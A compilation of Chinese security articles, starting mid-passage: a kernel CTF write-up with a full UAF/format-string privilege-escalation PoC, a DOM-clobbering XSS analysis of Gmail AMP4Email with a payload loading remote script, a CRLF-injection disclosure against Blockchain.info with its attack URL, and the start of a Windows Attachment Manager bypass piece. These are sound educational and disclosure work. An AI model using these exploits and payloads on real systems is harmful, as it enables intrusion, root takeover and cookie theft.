}
break;
case 0x7777:
if (sctf_buf)
{
printk(sctf_buf);
}
break;
default:
retval = -1;
break;
}
return retval;
}
static int seven_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "open()\n");
return 0;
}
static int seven_close(struct inode *i, struct file *f)
{
printk(KERN_INFO "close()\n");
return 0;
}
module_init(seven_init);
module_exit(seven_exit);
MODULE_LICENSE("GPL");
### ioctl
在自定义的ioctl函数中，设置了参数2为command，有三种情况：
* command = 0x5555时：调用kmalloc函数申请一个0x80的chunk
* command = 0x6666时：free chunk但指针没清空
* command = 0x7777时：调用printk输出，存在格式化字符串漏洞
一共两个漏洞点：0x80的UAF，和一个格式化字符串漏洞
### write
写函数只能写最多0x80大小，但能指定写的大小，且重点是 **能从后往前写**
### init
内核的init如下：
#!/bin/sh
mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /flying.ko
chmod 666 /dev/seven
chmod 700 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
umount /tmp
poweroff -d 0 -f
主要设置tmp目录用来上传文件
`echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms`
这里也限制泄露内核基址
### qemu
qemu的启动脚本如下：
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel /home/ctf/bzImage \
-initrd /home/ctf/rootfs.img \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
-cpu kvm64,+smep \
-smp cores=2,threads=2 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
多核，且开了smep保护，关掉了smap保护，且内核默认有kpti和kaslr保护，所以相当于开启了kpti和kaslr
## 利用
因为漏洞点很明显，主要讲讲怎么利用漏洞。
首先是泄露的问题，由于存在一个格式化字符串漏洞，所以可以直接利用它来leak kernel_base
具体代码如下：
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
show(fd);
scanf("%llx",&magic1);
注意这里不能使用%p，否则内核会检测到信息泄漏，得不到正确的结果。
然后接下来就是0x80的UAF利用，由于开启了freelist随机化和Harden_freelist保护，理论上来说，因为题目条件的限制，想直接劫持next指针实现任意地址写几乎是不可能的，所以这里不是考察的点，但这里存在了非预期，后文复盘会提到。
注意到0x80的分配用的是 `kmalloc-128`，而 `struct subprocess_info`
此对象的分配也是使用的`kmalloc-128`，由于题目存在UAF，所以当此对象落在我们能控制的chunk上时，就可以通过条件竞争劫持cleanup的指针，主要流程为：一个线程不断的调用`socket(22,
AF_INET, 0)` 另一个线程则循环往chunk写数据，覆盖cleanup指针为我们的gadget。
pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
usleep(1);
socket(22, AF_INET, 0);
// getshell();
if (race_flag) break;
}
void *race(void *arg) {
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp; // cleanup
while(1) {
write(fd, (void*)info,0x20);
if (race_flag) break;
}
}
这里很重要的一点是我们的覆盖要确保只覆盖cleanup指针，也就是写0x20字节，从0x60往后写，如果覆盖多了数据，会在ROP返回到用户态后死在使用fs或者syscall的地方，原因似乎有多种，有些玄学，很多师傅都卡在这里，在此磕头了orz，但我在write函数定义了可以从后面开始写的行为其实也带有提示的意味，不然会有点多余。
我们劫持的gadget要实现的功能是控制栈落在可控区域，这样我们就可以通过栈迁移，从而在事先布置好的ROP链上执行，因为当控制RIP时，RAX的值为此时gadget的地址，所以我们通过以下gadget控制栈
xchg eax, esp; ret;
然后ROP链的功能就是提权+返回用户态
u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);
char* fake_stack = NULL;
//先装载页面
if((fake_stack = mmap(
(char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐
0x2000, // length
PROT_READ | PROT_WRITE, // prot
MAP_PRIVATE | MAP_ANONYMOUS, // flags
-1, // fd
0)
) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);
fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
因为开启了kpti的缘故，所以我们实际上是通过在用户态注册 signal handler 来执行位于用户态的代码
signal(SIGSEGV, getshell);
void getshell()
{
if(getuid() == 0)
{
race_flag = 1;
puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}
至此一个完整的提权过程完毕，以下是poc完整代码：
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <signal.h>
u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;
u_int64_t kernel_base;
u_int64_t raw_kernel;
u_int64_t pop_rdi; // pop rdi; ret;
u_int64_t mov_cr4_rdi; // mov cr4, rdi; pop rbp; ret;
u_int64_t prepare_kernel_cred;
u_int64_t commit_creds;
u_int64_t mov_rdi_rsi; // mov qword ptr [rdi], rsi; ret;
u_int64_t pop_rsi ; // pop rsi;ret
u_int64_t hook_prctl ;
u_int64_t poweroff_work_func;
u_int64_t power_cmd ;
u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi
//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;
u_int64_t swapgs ; // swagps;ret
u_int64_t iretq ;
u_int64_t test_rbx_jne_pop_pop_ret;
long long int magic1;
struct DATA
{
char* buf;
};
void add(int fd)
{
ioctl(fd, 0x5555, 0x80);
}
void delete(int fd)
{
ioctl(fd, 0x6666, 0);
}
void show(int fd)
{
ioctl(fd, 0x7777, 0);
}
u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__ (".intel_syntax noprefix\n");
__asm__ volatile (
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags"
);
printf("[+] got user stat\n");
}
u_int64_t raw_kernel;
int race_flag = 0;
void getshell()
{
if(getuid() == 0)
{
race_flag = 1;
puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}
static int fd = NULL;
u_int64_t xchg_eax_esp = NULL;
void *race(void *arg) {
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp; // cleanup
// stack pivot
u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);
char* fake_stack = NULL;
//先装载页面
if((fake_stack = mmap(
(char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐
0x2000, // length
PROT_READ | PROT_WRITE, // prot
MAP_PRIVATE | MAP_ANONYMOUS, // flags
-1, // fd
0)
) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);
fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
while(1) {
write(fd, (void*)info,0x20);
if (race_flag) break;
}
return NULL;
}
int main()
{
// 0xffffffff81011cb0:xchg eax,esp
u_int64_t kernel_addr,onegadget,target;
signal(SIGSEGV, getshell);
unsigned long buf[0x200];
memset(buf, 0, 0x1000);
fd = open("/dev/seven", O_RDWR);
printf("fd: %d\n", fd);
if (fd < 0)
{
return -1;
}
add(fd);
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
show(fd);
show(fd);
scanf("%llx",&magic1);
raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE;
printf("[+] raw_kernel addr : 0x%16llx\n", raw_kernel);
xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;
pop_rdi = 0xffffffff810016e9+ raw_kernel; // pop rdi; ret;
mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel; // mov cr4, rdi; pop rbp; ret;
prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;
commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;
mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel; // mov qword ptr [rdi], rsi; ret;
pop_rsi = 0xffffffff811cad0d + raw_kernel; // pop rsi;ret
hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel;
poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel;
power_cmd = 0xFFFFFFFF82663440 + raw_kernel;
mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi
swapgs = 0xffffffff81c00f58 + raw_kernel; // swagps;ret
iretq = 0xffffffff81024f92 + raw_kernel;
test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel;
printf("[+] xchg addr :b *0x%16llx\n", xchg_eax_esp);
save_status();
delete(fd);
socket(22, AF_INET, 0);
pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
usleep(1);
socket(22, AF_INET, 0);
// getshell();
if (race_flag) break;
}
return 0;
}
编译语句如下
`gcc poc.c --static -masm=intel -lpthread -o poc`
## 复盘
通过询问解题人和看赛后wp了解到几种解法。
### 预期中的非预期
* 由于random值其实是固定的，泄露出来后劫持freelist打modprobe_path
* 由于卡在返回用户态后死在fs或者syscall的地方，所以直接在内核中orw，或者写modprobe_path
第一点由于泄露random值这一点很麻烦，且远程和本地不同，在出题的时候想到过可以这样打，但由于预期解比这个简单，本意也不是想打这里，毕竟用户态已经有libc大师这种说法，不想再来个slub大师（，这样个人感觉就挺没意思了
### 纯非预期
wm战队的思路orz
## docker环境
链接：<https://pan.baidu.com/s/1FRg-emgeXC6-yFGEBwpGcQ>
提取码：7777
供各位师傅复现 | 社区文章 |
研究人员对Gmail中通过DOM Clobbering针对AMP4Email的XSS漏洞进行了分析。
2019年8月，研究人员发现了AMP4Email的XSS漏洞，并提交给Google。该XSS漏洞是浏览器漏洞利用DOM Clobbering的一个实例。
# AMP4Email
AMP4Email
(也叫动态邮件)是Gmail中的一个新特征，使得邮件中可以包含动态HTML内容。一般都认为HTML中指含有静态内容，如格式、图片等，没有脚步或表单。AMP4Email就是这样一个允许在邮件中显示动态内容的功能。Google在G
Suite博客中，对动态邮件的描述为：
* 有了动态邮件，就可以直接在消息中采取对应的操作，比如预订事件、填写问卷、浏览目录、回复评论等等。
这个新特征引发了很多明显的安全问题，最重要的一个问题就是XSS。如果在邮件中允许动态内容，就是说很容易就可以注入任意的JS代码。但事实并非如此。AMP4Email
有一个强大的验证器，其中包含了动态邮件中允许的tag
和属性的白名单。还可以在<https://amp.gmail.dev/playground/> 上发送邮件给自己来做测试。
图 1. AMP4Email playground
如果用户尝试添加验证器不允许的HTML元素或属性，就会收到一个错误消息。
图 2. AMP验证器不允许任意的脚本标签
研究人员在测试过程中也尝试了很多绕过验证器的方法，最后研究人员注意到tag中并没有禁止id属性，如图3所示。
图 3. 验证器允许id属性
因为创建用户控制的id属性的id元素可能会引发 DOM Clobbering，因此研究人员开始进行安全分析。
# DOM Clobbering
DOM
Clobbering说web浏览器的一个特征，在许多应用中都会引发问题。在HTML中创建元素，然后想要从JS中引用时，需要使用一个类似`document.getElementById('username')`或`document.querySelector('#username')`的函数。但这并非唯一的方式。
通过全局窗口对象的属性也可以访问。
所以`window.username`与`document.getElementById('username')`是相同的。如果应用根据特定全局变量做出决定的话，就可能会引发漏洞。
进一步分析DOM Clobbering，假设有下面的JS代码：
if (window.test1.test2) {
eval(''+window.test1.test2)
}
要评估只用DOM Clobbering技术的任意JS代码。研究人员需要解决以下2个问题：
1. 可以确定的是可以在窗口创建新特性，但是否可以在其他对象上创建新对象呢？
2. 是否可以控制DOM元素转化为字符串？大多数HTML元素在转换为字符串时会返回类似[object HTMLInputElement]这样的东西。
首先看第一个问题。解决这一问题的唯一办法就是使用 `<form>`tag。每个`<form>`tag的`<input>`
作为`<form>`的属性时的属性名要与`<input>`的名字属性相等。如下所示：
<form id=test1>
<input name=test2>
</form>
<script>
alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>
为了解决第二个问题。研究人员创建了一段JS代码可以循环HTML中的所有元素，检查其toString方法是否来自于Object.prototype或以其他方式定义。如果并非继承于`Object.prototype`就会返回`[object
SomeElement]`之外的一些东西。
代码如下所示：
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
代码返回了2个元素：`HTMLAreaElement (<area>)`和 `HTMLAnchorElement
(<a>)`。第一个元素在AMP4Email中是不允许的，所以看第二个元素。在`<a>`元素中，`toString`返回的是`href`属性的值。如下所示：
<a id=test1 href=https://securitum.com>
<script>
alert(test1); // alerts "https://securitum.com"
</script>
此时可以发现，如果要解决前面提到的问题，就需要如下的代码：
<form id=test1>
<a name=test2 href="x:alert(1)"></a>
</form>
但是并不成功。`<input>`的元素可以变成`<form>`的特征，但对`<a>`却不适用。
有两个相同id的元素：
<a id=test1>click!</a>
<a id=test1>click2!</a>
在访问`window.test1`时，研究人员其实是想获取含有该id的第一个元素，但实际上在Chromium中，研究人员获取的是`HTMLCollection`。
图 4. window.test1指向HTMLCollection
有趣的是研究人员在`HTMLCollection`可以通过index和id来访问特定的元素。
也就是说，`window.test1.test1`其实引用的是第一个元素。设置name属性也会在HTMLCollection中创建新的特征。所以就有了如下代码：
<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>
还可以通过window.test1.test2访问第二个元素：
图 5. window.test1.test2
通过DOM Clobbering来利用`eval(''+window.test1.test2)`，解决方案就是：
<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>
AMP4Email 中DOM Clobbering是如何在现实场景中利用的呢？
# 在AMP4Email中利用DOM Clobbering
前面已经提到AMP4Email已受到DOM
Clobbering攻击，只需要添加自己的id属性到元素中就可以了。为了找到有漏洞的条件，研究人员决定看一下窗口的属性，如图6所示。
图 6. Window全局对象的属性
可以看出，AMP4Email其实使用了一些针对DOM Clobbering的保护机制，因为他严格限制id属性的特定值，如AMP。
图 7. AMP是id的非有效值
AMP_MODE却没有相同的限制。所以，研究人员准备了代码`<a id=AMP_MODE>`来看看会发生什么
图 8. 加载特定JS文件的404错误
研究人员发现了如图8所示的错误。图8中，AMP4Email尝试加载JS文件，但是在URL(<https://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js> )中并没有定义。只有一个解释，那就是AMP尝试获取AMP_MODE的属性并放在URL中。由于DOM
Clobbering，期望的属性丢失了，所有没有定义。代码如下：
f.preloadExtension = function(a, b) {
"amp-embed" == a && (a = "amp-ad");
var c = fn(this, a, !1);
if (c.loaded || c.error)
var d = !1;
else
void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
c.scriptPresent = !!d),
d = !c.scriptPresent;
if (d) {
d = b;
b = this.win.document.createElement("script");
b.async = !0;
yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
b.setAttribute("data-script", a);
b.setAttribute("i-amphtml-inserted", "");
var e = this.win.location;
t().test && this.win.testLocation && (e = this.win.testLocation);
if (t().localDev) {
var g = e.protocol + "//" + e.host;
"about:" == e.protocol && (g = "");
e = g + "/dist"
} else
e = hd.cdn;
g = t().rtvVersion;
null == d && (d = "0.1");
d = d ? "-" + d : "";
var h = t().singlePassType ? t().singlePassType + "/" : "";
b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
this.win.document.head.appendChild(b);
c.scriptPresent = !0
}
return gn(c)
}
下面是对代码解混淆的结果：
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
在第1行，代码创建了一个新的脚本元素。然后检查`AMP_MODE.test`和`window.testLocation`都是真实的。如果是，`AMP_MODE.localDev`也是真实的，然后使用`window.testLocation`作为生成脚本URL的基础。然后第17和18行，将一些特征拼接起来形成完整的URL。由于`DOM
Clobbering`，就可以完全控制整个URL。假设`AMP_MODE.localDev`和`AMP_MODE.test`是真的，那么代码就可以简化如下：
var script = window.document.createElement("script");
script.async = false;
b.src = window.testLocation.protocol + "//" +
window.testLocation.host + "/dist/rtv/" +
AMP_MODE.rtvVersion; + "/" +
(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
"v0/" + pluginName + ".js";
document.head.appendChild(b);
只需要加载`window.testLocation.protocol`。然后是最后的payload：
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- window.testLocation.protocol is a base for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
但是由于AMP的内容安全策略，代码并不会真正的执行：
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
研究人员并没有找到绕过CSP的方法，但是在这个过程中，研究人员找到一种绕过基于目录的csp的方法。
# 总结
文中研究人员证明了在特定条件满足的情况下如何利用DOM Clobbering来执行XSS攻击。
<https://research.securitum.com/xss-in-amp4email-dom-clobbering/> | 社区文章 |
# 【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞
|
##### 译文声明
本文是翻译文章，文章来源：shashank.co
原文地址：<http://blog.shashank.co/2017/11/crlf-injection-in-bockchaininfo.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
****
这个漏洞我已经上报给“Blockchain.info”的漏洞奖励计划了。
Blockchain.info是目前世界上最受欢迎的比特币钱包之一，它可以给用户提供详细的比特币交易信息以及区块图形化记录。
**什么是CRLF注入?**
****
CRLF是Carriage-Return Line-Feed的缩写，意思就是“回车换行”，即回车(CR, ASCII值：13, r) 换行(LF,
ASCII值：10, n)。
**这两个不可打印的ACSII字符不会在屏幕有任何输出，但在Windows中广泛用来标识一行的结束。而在Linux/UNIX系统中则只有换行符。**
CR和LF是在计算机终端还是电传打印机的时候遗留下来的东西。电传打字机就像普通打字机一样工作。在每一行的末端，CR命令让打印头回到左边，而LF命令可以让纸前进一行。虽然使用卷纸的终端时代已经过去了，但是CR和LF命令依然存在，许多应用程序和网络协议仍使用这些命令作为分隔符。
攻击者在搜索安全漏洞的时候并不会忽略这种使用频率不高的CRLF。攻击者可以通过在一段数据中加入CRLF命令，从而改变应用程序在处理这个数据时的方式，并执行CRLF注入攻击。需要注意的是，CRLF注入攻击虽然并没有像其它类型的攻击那样出名。但是，当对有安全漏洞的应用程序实施CRLF注入攻击时，这种攻击方式对于攻击者同样有效，并且可以给用户带来不可估量的损失。
**HTTP请求中的CRLF**
****
接下来，让我们了解一下CRLF是如何应用在HTTP请求之中的。
当我们在网站中点击任意内容，或者纯粹只是打开一个网站的时候，浏览器便会向目标网站的后台服务器发送请求，服务器在处理完用户请求之后，会给用户的浏览器发送响应信息，此时用户所请求的内容将会显示在浏览器之中，这就是最常见的请求-响应过程。
比如说，当我们在自己的浏览器中请求访问blog.shashank.co时，浏览器会发送如下所示的HTTP请求：
http://blog.shashank.co/
GET / HTTP/1.1
Host: blog.shashank.co
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
在处理完请求之后，服务器会返回如下所示的响应信息：
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Tue, 31 Oct 2017 14:28:13 GMT
Date: Tue, 31 Oct 2017 14:28:13 GMT
Cache-Control: private, max-age=0
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 13871
Server: GSE
<HERE IS THE WEBSITE BODY>
如果你不知道怎么查看浏览器所发送的HTTP请求以及响应信息的话，你可以下载火狐浏览器的“ **LiveHTTPHeader**
”插件，或者直接在网页中点击鼠标右键，选择“审查元素”，然后进入“网络”标签页来查看你在浏览任意网站时浏览器所发送的所有请求。
大家可以从上图中看到，在一个HTTP头中，每一行数据都是由CRLF分隔开的（不会在屏幕上打印输出的ASCII字符）。换句话说，上面这些数据的原始形式应该是这样的：
GET / HTTP/1.1 [CRLF]
Host: blog.shashank.co [CRLF]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: en-US,en;q=0.5 [CRLF]
Accept-Encoding: gzip, deflate [CRLF]
Connection: keep-alive [CRLF]
Upgrade-Insecure-Requests: 1 [CRLF]
HTTP/1.1 200 OK [CRLF]
Content-Type: text/html; charset=UTF-8 [CRLF]
Expires: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Date: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Cache-Control: private, max-age=0 [CRLF]
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT [CRLF]
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip [CRLF]
X-Content-Type-Options: nosniff [CRLF]
X-XSS-Protection: 1; mode=block [CRLF]
Content-Length: 13871 [CRLF]
Server: GSE [CRLF] [CRLF]
<HERE IS THE BODY>
**漏洞描述**
****
当我在浏览blockchain.info网站的过程中，我发现一个网站节点，而这个节点允许我下载JSON或CSV格式的图表数据：
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en
请大家注意其中的最后一个参数" **lang=en** "，我将它改成了" **lang=english**
"。接下来，我发现浏览器所接收到的响应头信息发生了一点变化：
GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english
<removed>
需要注意的是，“lang”参数将会反应在“content-language”头中。那么接下来，我们就要检测“CRLF”注入漏洞了，即我们是否能够添加一个[CRLF]并创建我们自己的响应头。
为了注入一个[CRLF]，我们需要对其进行URL编码，其中“rn”的URL编码为“ **%0D%0A** ”。
现在我们发送重新构造出来的请求：
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
我们将会在响应信息中发现一个新的响应头-TEST。
这也就意味着，我们成功地找到了一个CRLF注入漏洞！！由于请求信息中同样包含响应信息的主体内容（body），因此我们甚至还可以执行JavaScript代码（跨站脚本攻击）来窃取Cookie或构建一个钓鱼页面。
最终的攻击Payload如下所示：
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI
跨站脚本攻击：
构造钓鱼页面：
**如何防止这种攻击的发生？**
****
**养成良好的编码习惯**
可以有效地避免包括CRLF攻击在内的注入攻击技术。为了防止你的应用程序受到CRLF注入攻击，你需要保持与防御SQL注入攻击等其它类型的注入攻击一样的警惕性：即
**永远不要相信用户输入的内容**
！在你控制范围以外的任何来源的输入内容都必须要进行安全检查和数据过滤。在你的应用程序对数据执行操作之前，任何不符合预期的数据类型以及字符都要进行过滤。比如说，如果你的应用程序需要的是一个电子邮件地址，那么这个数据中所有的字符都应该是字母、数字、“@”和“.”。如果你的应用程序需要的是一个文件名，那么这个数据中只能包含文件名中允许使用的合法字符。如果开发人员能够在上述这两种场景下简单地过滤掉CR和LF字符，那么这种攻击也就无法奏效了。
虽然，用户所输入的“恶意字符”是导致漏洞出现的其中一种原因。但是，请你不要忘记检查第三方程序的输入内容。在许多情况下，攻击者可以把一个注入漏洞从一个包含漏洞的应用程序转移到一个正常的安全程序之中。开发人员不会检查安全程序中的数据，因为那里的数据不是直接来自于用户的。因此，无论数据来源于哪里，只要这些数据需要在你的应用程序中进行处理，你就必须要对这些数据进行审查和过滤。
**总结**
****
我发现了这个漏洞之后，便立刻将漏洞信息上报给了Blockchain.info的漏洞奖励计划，Blockchain.info的技术人员在确认了漏洞信息之后也立刻跟我取得了联系，并给我提供了1600美元的漏洞奖金，感谢Blockchain.info。 | 社区文章 |
翻译自：<http://www.rvrsh3ll.net/blog/informational/bypassing-windows-attachment-manager/>
# 绕过Windows附件管理器
* 从Windows XP Service Pack 2开始，Microsoft推出了“Windows附件管理器”。 此功能将“阻止”某些文件类型在通过Internet下载后执行。 “如果附件位于高风险文件类型列表中，并且来自受限区域，Windows将阻止用户访问该文件。 如果文件来自Internet区域，则Windows将在访问该文件之前提示用户。“从互联网上下载文件时,这是一个高风险的文件类型“,窗口创建另一个数据流来识别文件和应用块。
虽然这对最终用户来说是一个很好的安全功能，但是在尝试以令人反感的安全参与方式提供某些网络钓鱼有效载荷时，这显然是一个问题。 我决定对Windows
Attachment Manager功能可能阻止哪些类型的有效载荷进行一些研究。
从开始，我想找到一个文件类型的列表，将在下载时被阻止。 微软足够为我们提供此列表 [https://support.microsoft.com/en-us/help/883260/information-about-the-attachment-manager-in-microsoft-windows](https://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&sp=nmt4&tl=zh-CN&u=https://support.microsoft.com/en-us/help/883260/information-about-the-attachment-manager-in-microsoft-windows&usg=ALkJrhgNudKGsV7jaPZS8Xbai-TruAc6Tw)
类型是：
.ade，.adp，.app，.asp，.bas，.bat，.cer，.chm，.cmd，.com，.cpl，.crt，.csh，.exe，.fxp，.hlp，.inf，.ins，.isp，.its，.js，.jse，.ksh，.lnk，.mad，.maf，.mag，.mam，.maq，.mar，.mas，.mat。mau，.mav，.maw，.mda，.mdb，.mde，.mdt，.mdw，.mdz，.msc，.msi，.msp，.mst，.ops，.pcd，.pif，.prg，.pst，.reg，.scf，.scr，.sct，.shb，.shs，.tmp，.url，.vb，.vbe，.vbs，.vsmacros，.vss，.vst，.vsw ，.ws，.wsc，.wsf，.wsh
我注意到有几个文件类型不被阻止，并开始怀疑我们是否可以利用这些非限制的文件类型来执行被阻止的类型。
